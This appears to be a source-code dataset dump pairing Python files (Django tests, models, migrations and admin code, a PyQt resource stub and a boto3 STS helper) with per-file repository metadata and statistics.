# Check if the relations are there via the customers table.
customers_table.refresh_from_db()
customers_model = customers_table.get_model()
related_field = link_row_field.link_row_related_field
customer_rows = customers_model.objects.all()
assert customer_rows.count() == 3
customers_row_1 = customer_rows[0]
customers_row_2 = customer_rows[1]
customers_row_3 = customer_rows[2]
customer_row_1_all = getattr(customers_row_1, f'field_{related_field.id}').all()
customer_row_2_all = getattr(customers_row_2, f'field_{related_field.id}').all()
customer_row_3_all = getattr(customers_row_3, f'field_{related_field.id}').all()
assert customer_row_1_all.count() == 1
assert customer_row_2_all.count() == 1
assert customer_row_3_all.count() == 1
customers_row_1_ids = [i.id for i in customer_row_1_all]
customers_row_2_ids = [i.id for i in customer_row_2_all]
customers_row_3_ids = [i.id for i in customer_row_3_all]
assert row_2.id in customers_row_1_ids
assert row_2.id in customers_row_2_ids
assert row.id in customers_row_3_ids
# When changing the link row table table all the existing relations should be
# deleted.
link_row_field = field_handler.update_field(
user=user,
field=link_row_field,
type_name='link_row',
link_row_table=users_table
)
example_table.refresh_from_db()
model = example_table.get_model()
rows = model.objects.all()
row = rows[0]
row_2 = rows[1]
assert getattr(row, f'field_{link_row_field.id}').all().count() == 0
assert getattr(row_2, f'field_{link_row_field.id}').all().count() == 0
# Just check if the field can be deleted can be deleted.
field_handler.delete_field(user=user, field=link_row_field)
assert Field.objects.all().count() == 0
@pytest.mark.django_db
def test_link_row_enhance_queryset(data_fixture, django_assert_num_queries):
user = data_fixture.create_user()
database = data_fixture.create_database_application(user=user, name='Placeholder')
example_table = data_fixture.create_database_table(name='Example',
database=database)
customers_table = data_fixture.create_database_table(name='Customers',
database=database)
field_handler = FieldHandler()
row_handler = RowHandler()
link_row_field = field_handler.create_field(
user=user,
table=example_table,
type_name='link_row',
link_row_table=customers_table
)
customers_row_1 = row_handler.create_row(user=user, table=customers_table)
customers_row_2 = row_handler.create_row(user=user, table=customers_table)
customers_row_3 = row_handler.create_row(user=user, table=customers_table)
row_handler.create_row(user=user, table=example_table, values={
f'field_{link_row_field.id}': [customers_row_1.id, customers_row_2.id],
})
row_handler.create_row(user=user, table=example_table, values={
f'field_{link_row_field.id}': [customers_row_1.id],
})
row_handler.create_row(user=user, table=example_table, values={
f'field_{link_row_field.id}': [customers_row_3.id],
})
model = example_table.get_model()
rows = list(model.objects.all().enhance_by_fields())
with django_assert_num_queries(0):
for row in rows:
list(getattr(row, f'field_{link_row_field.id}').all())
@pytest.mark.django_db
def test_link_row_field_type_api_views(api_client, data_fixture):
user, token = data_fixture.create_user_and_token(
email='test@test.nl', password='password', first_name='Test1')
database = data_fixture.create_database_application(user=user, name='Placeholder')
unrelated_database = data_fixture.create_database_application(
user=user, name='Unrelated')
table = data_fixture.create_database_table(name='Example', database=database)
customers_table = data_fixture.create_database_table(
name='Customers', database=database)
cars_table = data_fixture.create_database_table(name='Cars', database=database)
unrelated_table_1 = data_fixture.create_database_table(
name='Unrelated', database=unrelated_database
)
unrelated_table_2 = data_fixture.create_database_table(name='Unrelated 2')
# Try to make a relation with a table from another database
response = api_client.post(
reverse('api:database:fields:list', kwargs={'table_id': table.id}),
{
'name': 'Link',
'type': 'link_row',
'link_row_table': unrelated_table_1.id
},
format='json',
HTTP_AUTHORIZATION=f'JWT {token}'
)
response_json = response.json()
assert response.status_code == HTTP_400_BAD_REQUEST
assert response_json['error'] == 'ERROR_LINK_ROW_TABLE_NOT_IN_SAME_DATABASE'
assert LinkRowField.objects.all().count() == 0
# Try to make a relation with a table that we don't have access to.
response = api_client.post(
reverse('api:database:fields:list', kwargs={'table_id': table.id}),
{
'name': 'Link',
'type': 'link_row',
'link_row_table': unrelated_table_2.id
},
format='json',
HTTP_AUTHORIZATION=f'JWT {token}'
)
response_json = response.json()
assert response.status_code == HTTP_400_BAD_REQUEST
assert response_json['error'] == 'ERROR_USER_NOT_IN_GROUP'
assert LinkRowField.objects.all().count() == 0
# Try to make a relation without providing the table
response = api_client.post(
reverse('api:database:fields:list', kwargs={'table_id': table.id}),
{
'name': 'Link',
'type': 'link_row'
},
format='json',
HTTP_AUTHORIZATION=f'JWT {token}'
)
response_json = response.json()
assert response.status_code == HTTP_400_BAD_REQUEST
assert response_json['error'] == 'ERROR_LINK_ROW_TABLE_NOT_PROVIDED'
assert LinkRowField.objects.all().count() == 0
# Create new link row field type.
response = api_client.post(
reverse('api:database:fields:list', kwargs={'table_id': table.id}),
{
'name': 'Link 1',
'type': 'link_row',
'link_row_table': customers_table.id,
# The `link_row_related_field` is a read_only field so we deliberately set
# an unknown id to see if it is ignored.
'link_row_related_field': 999999,
},
format='json',
HTTP_AUTHORIZATION=f'JWT {token}'
)
response_json = response.json()
assert response.status_code == HTTP_200_OK
assert response_json['name'] == 'Link 1'
assert response_json['type'] == 'link_row'
assert response_json['link_row_table'] == customers_table.id
assert LinkRowField.objects.all().count() == 2
field_id = response_json['id']
field = LinkRowField.objects.all().order_by('id').first()
related_field = LinkRowField.objects.all().order_by('id').last()
assert response_json['link_row_related_field'] == related_field.id
assert response_json['link_row_related_field'] != 999999
# Check if the correct fields are correctly linked.
assert field.table.id == table.id
assert field.link_row_table.id == customers_table.id
assert related_field.table.id == customers_table.id
assert related_field.link_row_table.id == table.id
assert field.link_row_relation_id == related_field.link_row_relation_id
# Just fetching the field and check if is has the correct values.
response = api_client.get(
reverse('api:database:fields:item', kwargs={'field_id': field_id}),
HTTP_AUTHORIZATION=f'JWT {token}'
)
response_json = response.json()
assert response.status_code == HTTP_200_OK
assert response_json['name'] == 'Link 1'
assert response_json['type'] == 'link_row'
assert response_json['link_row_table'] == customers_table.id
assert response_json['link_row_related_field'] == related_field.id
# Just fetching the related field and check if is has the correct values.
response = api_client.get(
reverse('api:database:fields:item', kwargs={'field_id': related_field.id}),
HTTP_AUTHORIZATION=f'JWT {token}'
)
response_json = response.json()
assert response.status_code == HTTP_200_OK
assert response_json['name'] == 'Example'
assert response_json['link_row_table'] == table.id
assert response_json['link_row_related_field'] == field.id
# Only updating the name of the field without changing anything else
response = api_client.patch(
reverse('api:database:fields:item', kwargs={'field_id': field_id}),
{'name': 'Link new name'},
format='json',
HTTP_AUTHORIZATION=f'JWT {token}'
)
response_json = response.json()
assert response.status_code == HTTP_200_OK
assert response_json['name'] == 'Link new name'
assert response_json['type'] == 'link_row'
assert response_json['link_row_table'] == customers_table.id
assert response_json['link_row_related_field'] == related_field.id
# Only try to update the link_row_related_field, but this is a read only field so
# nothing should happen.
response = api_client.patch(
reverse('api:database:fields:item', kwargs={'field_id': field_id}),
{'link_row_related_field': 9999},
format='json',
HTTP_AUTHORIZATION=f'JWT {token}'
)
response_json = response.json()
assert response.status_code == HTTP_200_OK
assert response_json['name'] == 'Link new name'
assert response_json['type'] == 'link_row'
assert response_json['link_row_table'] == customers_table.id
assert response_json['link_row_related_field'] == related_field.id
response = api_client.patch(
reverse('api:database:fields:item', kwargs={'field_id': field_id}),
{'link_row_table': cars_table.id},
format='json',
HTTP_AUTHORIZATION=f'JWT {token}'
)
response_json = response.json()
assert response.status_code == HTTP_200_OK
assert response_json['name'] == 'Link new name'
assert response_json['type'] == 'link_row'
assert response_json['link_row_table'] == cars_table.id
assert response_json['link_row_related_field'] == related_field.id
field.refresh_from_db()
related_field.refresh_from_db()
# Check if the correct fields are still linked.
assert field.table.id == table.id
assert field.link_row_table.id == cars_table.id
assert related_field.table.id == cars_table.id
assert related_field.link_row_table.id == table.id
url = reverse('api:database:fields:item', kwargs={'field_id': field_id})
response = api_client.delete(url, HTTP_AUTHORIZATION=f'JWT {token}')
assert response.status_code == HTTP_204_NO_CONTENT
assert LinkRowField.objects.all().count() == 0
@pytest.mark.django_db
def test_link_row_field_type_api_row_views(api_client, data_fixture):
user, token = data_fixture.create_user_and_token()
database = data_fixture.create_database_application(user=user, name='Placeholder')
example_table = data_fixture.create_database_table(name='Example',
database=database)
customers_table = data_fixture.create_database_table(name='Customers',
database=database)
grid = data_fixture.create_grid_view(table=example_table)
data_fixture.create_text_field(
name='Name',
table=example_table,
primary=True
)
customers_primary = data_fixture.create_text_field(
name='Customer name',
table=customers_table,
primary=True
)
field_handler = FieldHandler()
row_handler = RowHandler()
link_row_field = field_handler.create_field(
user=user,
table=example_table,
type_name='link_row',
link_row_table=customers_table
)
customers_row_1 = row_handler.create_row(
user=user, table=customers_table,
values={f'field_{customers_primary.id}': 'John Doe'}
)
customers_row_2 = row_handler.create_row(
user=user, table=customers_table,
values={f'field_{customers_primary.id}': 'Jane Doe'}
)
customers_row_3 = row_handler.create_row(user=user, table=customers_table)
response = api_client.post(
reverse('api:database:rows:list', kwargs={'table_id': example_table.id}),
{
f'field_{link_row_field.id}': 'Random',
},
format='json',
HTTP_AUTHORIZATION=f'JWT {token}'
)
response_json = response.json()
assert response.status_code == HTTP_400_BAD_REQUEST
assert response_json['error'] == 'ERROR_REQUEST_BODY_VALIDATION'
assert (
response_json['detail'][f'field_{link_row_field.id}'][0]['code'] ==
'not_a_list'
)
response = api_client.post(
reverse('api:database:rows:list', kwargs={'table_id': example_table.id}),
{
f'field_{link_row_field.id}': ['a'],
},
format='json',
HTTP_AUTHORIZATION=f'JWT {token}'
)
response_json = response.json()
assert response.status_code == HTTP_400_BAD_REQUEST
assert response_json['error'] == 'ERROR_REQUEST_BODY_VALIDATION'
assert (
response_json['detail'][f'field_{link_row_field.id}']['0'][0]['code'] ==
'invalid'
)
response = api_client.post(
reverse('api:database:rows:list', kwargs={'table_id': example_table.id}),
{
f'field_{link_row_field.id}': [customers_row_1.id, customers_row_2.id, 999],
},
format='json',
HTTP_AUTHORIZATION=f'JWT {token}'
)
response_json = response.json()
row_id = response_json['id']
assert response.status_code == HTTP_200_OK
assert len(response_json[f'field_{link_row_field.id}']) == 2
assert response_json[f'field_{link_row_field.id}'][0]['id'] == customers_row_1.id
assert response_json[f'field_{link_row_field.id}'][0]['value'] == 'John Doe'
assert response_json[f'field_{link_row_field.id}'][1]['id'] == customers_row_2.id
assert response_json[f'field_{link_row_field.id}'][1]['value'] == 'Jane Doe'
model = example_table.get_model()
assert model.objects.all().count() == 1
url = reverse('api:database:rows:item', kwargs={
'table_id': example_table.id,
'row_id': row_id
})
response = api_client.patch(
url,
{
f'field_{link_row_field.id}': [],
},
format='json',
HTTP_AUTHORIZATION=f'JWT {token}'
)
response_json = response.json()
assert response.status_code == HTTP_200_OK
assert len(response_json[f'field_{link_row_field.id}']) == 0
url = reverse('api:database:rows:item', kwargs={
'table_id': example_table.id,
'row_id': row_id
})
response = api_client.patch(
url,
{
f'field_{link_row_field.id}': [customers_row_2.id, customers_row_3.id],
},
format='json',
HTTP_AUTHORIZATION=f'JWT {token}'
)
response_json = response.json()
assert response.status_code == HTTP_200_OK
assert len(response_json[f'field_{link_row_field.id}']) == 2
assert response_json[f'field_{link_row_field.id}'][0]['id'] == customers_row_2.id
assert response_json[f'field_{link_row_field.id}'][0]['value'] == 'Jane Doe'
assert response_json[f'field_{link_row_field.id}'][1]['id'] == customers_row_3.id
assert not response_json[f'field_{link_row_field.id}'][1]['value']
url = reverse('api:database:views:grid:list', kwargs={'view_id': grid.id})
response = api_client.get(
url,
**{'HTTP_AUTHORIZATION': f'JWT {token}'}
)
response_json = response.json()
assert response.status_code == HTTP_200_OK
assert response_json['count'] == 1
assert response_json['results'][0]['id'] == row_id
assert len(response_json['results'][0][f'field_{link_row_field.id}']) == 2
url = reverse('api:database:rows:item', kwargs={
'table_id': example_table.id,
'row_id': row_id
})
response = api_client.delete(url, HTTP_AUTHORIZATION=f'JWT {token}')
assert response.status_code == HTTP_204_NO_CONTENT
assert model.objects.all().count() == 0
response = api_client.post(
reverse('api:database:rows:list', kwargs={'table_id': example_table.id}),
{},
format='json',
HTTP_AUTHORIZATION=f'JWT {token}'
)
response_json = response.json()
assert response.status_code == HTTP_200_OK
assert len(response_json[f'field_{link_row_field.id}']) == 0
@pytest.mark.django_db
def test_import_export_link_row_field(data_fixture, user_tables_in_separate_db):
user = data_fixture.create_user()
imported_group = data_fixture.create_group(user=user)
database = data_fixture.create_database_application(user=user, name='Placeholder')
table = data_fixture.create_database_table(name='Example', database=database)
customers_table = data_fixture.create_database_table(
name='Customers', database=database
)
field_handler = FieldHandler()
core_handler = CoreHandler()
link_row_field = field_handler.create_field(
user=user,
table=table,
type_name='link_row',
link_row_table=customers_table
)
row_handler = RowHandler()
c_row = row_handler.create_row(user=user, table=customers_table, values={})
c_row_2 = row_handler.create_row(user=user, table=customers_table, values={})
row = row_handler.create_row(user=user, table=table, values={
f'field_{link_row_field.id}': [c_row.id, c_row_2.id]
})
exported_applications = core_handler.export_group_applications(database.group)
imported_applications, id_mapping = core_handler.import_application_to_group(
imported_group,
exported_applications
)
imported_database = imported_applications[0]
imported_tables = imported_database.table_set.all()
imported_table = imported_tables[0]
imported_customers_table = imported_tables[1]
imported_link_row_field = imported_table.field_set.all().first().specific
imported_link_row_relation_field = (
imported_customers_table.field_set.all().first().specific
)
assert imported_table.id != table.id
assert imported_table.name == table.name
assert imported_customers_table.id != customers_table.id
assert imported_customers_table.name == customers_table.name
assert imported_link_row_field.id != link_row_field.id
assert imported_link_row_field.name == link_row_field.name
assert imported_link_row_field.link_row_table_id == imported_customers_table.id
assert imported_link_row_relation_field.link_row_table_id == imported_table.id
assert imported_link_row_field.link_row_relation_id == (
imported_link_row_relation_field.link_row_relation_id
)
imported_c_row = row_handler.get_row(user=user, table=imported_customers_table,
row_id=c_row.id)
imported_c_row_2 = row_handler.get_row(user=user, table=imported_customers_table,
row_id=c_row_2.id)
imported_row = row_handler.get_row(user=user, table=imported_table, row_id=row.id)
assert imported_row.id == row.id
assert imported_c_row.id == c_row.id
assert imported_c_row_2.id == c_row_2.id
assert [
r.id
for r in getattr(imported_row, f'field_{imported_link_row_field.id}').all()
] == [imported_c_row.id, imported_c_row_2.id]
| 39.440945
| 88
| 0.687895
| 4,113
| 30,054
| 4.680525
| 0.055191
| 0.049452
| 0.036154
| 0.033557
| 0.826606
| 0.789569
| 0.731183
| 0.690925
| 0.651447
| 0.628331
| 0
| 0.013021
| 0.200173
| 30,054
| 761
| 89
| 39.492773
| 0.787836
| 0.045784
| 0
| 0.497623
| 0
| 0
| 0.138978
| 0.0868
| 0
| 0
| 0
| 0
| 0.232964
| 1
| 0.009509
| false
| 0.001585
| 0.061807
| 0
| 0.071315
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
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| 0
| 1
| 0
| 0
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| 0
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| 0
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| 0
| null | 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
0c1f88e45f6546c8468793ef45670137c94015f2
| 485
|
py
|
Python
|
ocial/ocial_project/topics/admin.py
|
kasimbozdag/swe_574
|
a77fa29fd80c713cd202ccbb82cfcadfa52b81fa
|
[
"MIT"
] | 1
|
2019-09-29T12:54:58.000Z
|
2019-09-29T12:54:58.000Z
|
ocial/ocial_project/topics/admin.py
|
kasimbozdag/swe_574
|
a77fa29fd80c713cd202ccbb82cfcadfa52b81fa
|
[
"MIT"
] | 55
|
2019-09-26T16:29:22.000Z
|
2022-02-10T11:28:32.000Z
|
ocial/ocial_project/topics/admin.py
|
kasimbozdag/swe_574
|
a77fa29fd80c713cd202ccbb82cfcadfa52b81fa
|
[
"MIT"
] | null | null | null |
from django.contrib import admin
from .models import *
admin.site.register(Topic)
admin.site.register(Course)
admin.site.register(Learner_Course_Record)
admin.site.register(Learner_Section_Record)
admin.site.register(Learner_Lecture_Record)
admin.site.register(Learner_Quiz_Record)
admin.site.register(Glossary)
admin.site.register(Section)
admin.site.register(Lecture)
admin.site.register(Quiz)
admin.site.register(Question)
admin.site.register(Choice)
admin.site.register(Resource)
| 28.529412
| 43
| 0.841237
| 68
| 485
| 5.882353
| 0.279412
| 0.2925
| 0.5525
| 0.24
| 0.225
| 0
| 0
| 0
| 0
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| 0
| 0
| 0.045361
| 485
| 17
| 44
| 28.529412
| 0.863931
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| null | 0
| 0
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| 0
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| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
0c3eba17fb87986b12b6fec1b85a4a528f183ad0
| 74
|
py
|
Python
|
etc/demo/demo_edr_explorer.py
|
informatics-lab/edr_explorer
|
80b0572e73569e5106d0a80ca44cc28c22f15974
|
[
"BSD-3-Clause"
] | null | null | null |
etc/demo/demo_edr_explorer.py
|
informatics-lab/edr_explorer
|
80b0572e73569e5106d0a80ca44cc28c22f15974
|
[
"BSD-3-Clause"
] | 31
|
2021-11-12T16:54:05.000Z
|
2022-03-25T14:10:07.000Z
|
etc/demo/demo_edr_explorer.py
|
informatics-lab/edr_explorer
|
80b0572e73569e5106d0a80ca44cc28c22f15974
|
[
"BSD-3-Clause"
] | null | null | null |
import edr_explorer
explorer = edr_explorer.EDRExplorer()
explorer.layout
| 18.5
| 37
| 0.851351
| 9
| 74
| 6.777778
| 0.555556
| 0.360656
| 0
| 0
| 0
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| 0
| 0
| 0
| 0.081081
| 74
| 4
| 38
| 18.5
| 0.897059
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|
0
| 4
|
0c641ee61a0904aa4d3ebf10a8f307d9f9c38e84
| 306,552
|
py
|
Python
|
logo.py
|
MarioTiara/Pre-Diagnosis-Kidney-Disorders-
|
93d534455a4d4013e97aa97c84270b2b10d779df
|
[
"MIT"
] | null | null | null |
logo.py
|
MarioTiara/Pre-Diagnosis-Kidney-Disorders-
|
93d534455a4d4013e97aa97c84270b2b10d779df
|
[
"MIT"
] | null | null | null |
logo.py
|
MarioTiara/Pre-Diagnosis-Kidney-Disorders-
|
93d534455a4d4013e97aa97c84270b2b10d779df
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
# Resource object code
#
# Created by: The Resource Compiler for PyQt5 (Qt v5.11.2)
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore
qt_resource_data = b"\
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qt_resource_name = b"\
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\
"
qt_resource_struct_v1 = b"\
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"
qt_resource_struct_v2 = b"\
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"
qt_version = [int(v) for v in QtCore.qVersion().split('.')]
if qt_version < [5, 8, 0]:
rcc_version = 1
qt_resource_struct = qt_resource_struct_v1
else:
rcc_version = 2
qt_resource_struct = qt_resource_struct_v2
def qInitResources():
QtCore.qRegisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data)
def qCleanupResources():
QtCore.qUnregisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data)
qInitResources()
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0
| 4
|
a7733db99e25ffc4a432387e39376770b33cd9d2
| 93
|
py
|
Python
|
autonomy_toolkit/ros/__init__.py
|
uwsbel/autonomy-toolkit
|
6eef2a542ccb6d4bef6a6364556f6345d5fa643e
|
[
"MIT"
] | null | null | null |
autonomy_toolkit/ros/__init__.py
|
uwsbel/autonomy-toolkit
|
6eef2a542ccb6d4bef6a6364556f6345d5fa643e
|
[
"MIT"
] | null | null | null |
autonomy_toolkit/ros/__init__.py
|
uwsbel/autonomy-toolkit
|
6eef2a542ccb6d4bef6a6364556f6345d5fa643e
|
[
"MIT"
] | 1
|
2022-01-29T04:26:03.000Z
|
2022-01-29T04:26:03.000Z
|
# SPDX-License-Identifier: MIT
"""
Files related to ROS for the autonomy_toolkit package
"""
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0
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a791c1cc686e6fcaf950864f065eb225fca68246
| 131
|
py
|
Python
|
Week-01/ITI-IoT/Day-03/human.py
|
MohamedHussein21/DSA20
|
d2e1258e8d8a9c8428a1832feed10e0ccd1c15c8
|
[
"MIT"
] | null | null | null |
Week-01/ITI-IoT/Day-03/human.py
|
MohamedHussein21/DSA20
|
d2e1258e8d8a9c8428a1832feed10e0ccd1c15c8
|
[
"MIT"
] | null | null | null |
Week-01/ITI-IoT/Day-03/human.py
|
MohamedHussein21/DSA20
|
d2e1258e8d8a9c8428a1832feed10e0ccd1c15c8
|
[
"MIT"
] | null | null | null |
# بسم الله الرحمن الرحيم
class Human:
def __init__(self, name):
self.name = name
def my_fn():
print(f'الحمد لله')
| 16.375
| 29
| 0.625954
| 20
| 131
| 3.85
| 0.8
| 0.207792
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.259542
| 131
| 8
| 30
| 16.375
| 0.793814
| 0.167939
| 0
| 0
| 0
| 0
| 0.083333
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.4
| false
| 0
| 0
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| 0.6
| 0.2
| 1
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| 0
| null | 1
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
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| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
a7a3c167ad6e776cc3b5d44f0263f43eb28a79b0
| 174
|
py
|
Python
|
app/polls/filters.py
|
lexover/polls_rest_api
|
c03472f009a9d70c760f9862717f21379123b791
|
[
"MIT"
] | null | null | null |
app/polls/filters.py
|
lexover/polls_rest_api
|
c03472f009a9d70c760f9862717f21379123b791
|
[
"MIT"
] | null | null | null |
app/polls/filters.py
|
lexover/polls_rest_api
|
c03472f009a9d70c760f9862717f21379123b791
|
[
"MIT"
] | null | null | null |
from django_filters import FilterSet
from polls.models import Question
class QuestionFilter(FilterSet):
class Meta:
model = Question
fields = ['poll']
| 17.4
| 36
| 0.701149
| 19
| 174
| 6.368421
| 0.736842
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.235632
| 174
| 9
| 37
| 19.333333
| 0.909774
| 0
| 0
| 0
| 0
| 0
| 0.022989
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
a7b0bc729fa63ba930babfb6a3518d13558f2389
| 1,108
|
py
|
Python
|
cntm_backend/cntm/migrations/0001_initial.py
|
dzimmerer/cntm2018
|
c61987d882a53cc9f428e49f7d91dd0a1413d2e5
|
[
"Apache-2.0"
] | 2
|
2018-02-08T21:45:52.000Z
|
2018-03-19T14:45:01.000Z
|
cntm_backend/cntm/migrations/0001_initial.py
|
dzimmerer/cntm2018
|
c61987d882a53cc9f428e49f7d91dd0a1413d2e5
|
[
"Apache-2.0"
] | null | null | null |
cntm_backend/cntm/migrations/0001_initial.py
|
dzimmerer/cntm2018
|
c61987d882a53cc9f428e49f7d91dd0a1413d2e5
|
[
"Apache-2.0"
] | null | null | null |
# Generated by Django 2.0.2 on 2018-02-02 12:28
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='User',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('token', models.CharField(max_length=50)),
('username', models.CharField(max_length=30)),
('email', models.CharField(max_length=50)),
('passwd', models.CharField(max_length=100)),
('score', models.IntegerField()),
('real_name', models.CharField(max_length=100)),
('img_url', models.CharField(max_length=200)),
('age', models.IntegerField()),
('hair', models.CharField(max_length=30)),
('eye', models.CharField(max_length=30)),
('descr', models.TextField()),
('hobbies', models.TextField()),
],
),
]
| 33.575758
| 114
| 0.538809
| 107
| 1,108
| 5.457944
| 0.523364
| 0.205479
| 0.246575
| 0.328767
| 0.315068
| 0
| 0
| 0
| 0
| 0
| 0
| 0.044619
| 0.312274
| 1,108
| 32
| 115
| 34.625
| 0.721785
| 0.040614
| 0
| 0
| 1
| 0
| 0.070688
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.04
| 0.04
| 0
| 0.2
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
38fd19b5aa807ba6e5da0dcdcd36dceaf7bb2c2e
| 97
|
py
|
Python
|
apps/planCuentas/apps.py
|
andipandiber/CajaAhorros
|
cb0769fc04529088768ea650f9ee048bd9a55837
|
[
"MIT"
] | null | null | null |
apps/planCuentas/apps.py
|
andipandiber/CajaAhorros
|
cb0769fc04529088768ea650f9ee048bd9a55837
|
[
"MIT"
] | 8
|
2021-03-30T13:39:24.000Z
|
2022-03-12T00:36:15.000Z
|
apps/planCuentas/apps.py
|
andresbermeoq/CajaAhorros
|
cb0769fc04529088768ea650f9ee048bd9a55837
|
[
"MIT"
] | null | null | null |
from django.apps import AppConfig
class PlancuentasConfig(AppConfig):
name = 'planCuentas'
| 16.166667
| 35
| 0.773196
| 10
| 97
| 7.5
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.154639
| 97
| 5
| 36
| 19.4
| 0.914634
| 0
| 0
| 0
| 0
| 0
| 0.113402
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
ac0e534eddb2e78ebb838c41511663ee65c0de6d
| 57
|
py
|
Python
|
pomodoro/__main__.py
|
golgor/pomodoro
|
b828eac1ab61302b0bd2d1d78d03152a65fe01fa
|
[
"MIT"
] | null | null | null |
pomodoro/__main__.py
|
golgor/pomodoro
|
b828eac1ab61302b0bd2d1d78d03152a65fe01fa
|
[
"MIT"
] | 7
|
2020-06-09T18:25:41.000Z
|
2020-07-09T14:24:42.000Z
|
pomodoro/__main__.py
|
golgor/pomodoro
|
b828eac1ab61302b0bd2d1d78d03152a65fe01fa
|
[
"MIT"
] | null | null | null |
if __name__ == "__main__":
print("Running Main.py!")
| 19
| 29
| 0.631579
| 7
| 57
| 4
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.175439
| 57
| 2
| 30
| 28.5
| 0.595745
| 0
| 0
| 0
| 0
| 0
| 0.421053
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0.5
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
ac292436debf2bb9be08ec6d4aceba28f82c139d
| 213
|
py
|
Python
|
checkin/forms.py
|
cjb/quantified-flu
|
c925c95704de846aab16273807ebc75f52024816
|
[
"MIT"
] | 17
|
2020-03-24T18:51:08.000Z
|
2022-03-18T21:39:43.000Z
|
checkin/forms.py
|
cjb/quantified-flu
|
c925c95704de846aab16273807ebc75f52024816
|
[
"MIT"
] | 39
|
2020-03-25T09:17:52.000Z
|
2020-07-23T08:06:42.000Z
|
checkin/forms.py
|
cjb/quantified-flu
|
c925c95704de846aab16273807ebc75f52024816
|
[
"MIT"
] | 3
|
2020-03-25T12:18:23.000Z
|
2020-05-16T11:03:07.000Z
|
from django.forms import ModelForm, Select
from .models import CheckinSchedule
class CheckinScheduleForm(ModelForm):
class Meta:
model = CheckinSchedule
fields = ["timezone", "time_string"]
| 21.3
| 44
| 0.723005
| 21
| 213
| 7.285714
| 0.761905
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.201878
| 213
| 9
| 45
| 23.666667
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0.089202
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
ac2e46d04f3ed80d2d635ee2a9cf44a8109bb2ec
| 349
|
py
|
Python
|
awsassume/security_token_service.py
|
zulhilmizainuddin/aws-assumerole
|
2aff3af378f4b81d38f89fccbf6cd0f0f3c2e181
|
[
"MIT"
] | null | null | null |
awsassume/security_token_service.py
|
zulhilmizainuddin/aws-assumerole
|
2aff3af378f4b81d38f89fccbf6cd0f0f3c2e181
|
[
"MIT"
] | 1
|
2019-12-28T09:24:10.000Z
|
2019-12-28T09:26:47.000Z
|
awsassume/security_token_service.py
|
zulhilmizainuddin/aws-assumerole
|
2aff3af378f4b81d38f89fccbf6cd0f0f3c2e181
|
[
"MIT"
] | null | null | null |
import boto3
from abc import ABC, abstractmethod
from awsassume.data_models import AssumedRoleResponse
class SecurityTokenService(ABC):
def __init__(self, region_name: str = None) -> None:
self.client = boto3.client('sts', region_name=region_name)
@abstractmethod
def assume_role(self) -> AssumedRoleResponse:
pass
| 21.8125
| 66
| 0.733524
| 40
| 349
| 6.175
| 0.575
| 0.121457
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.007042
| 0.186246
| 349
| 15
| 67
| 23.266667
| 0.862676
| 0
| 0
| 0
| 0
| 0
| 0.008596
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.222222
| false
| 0.111111
| 0.333333
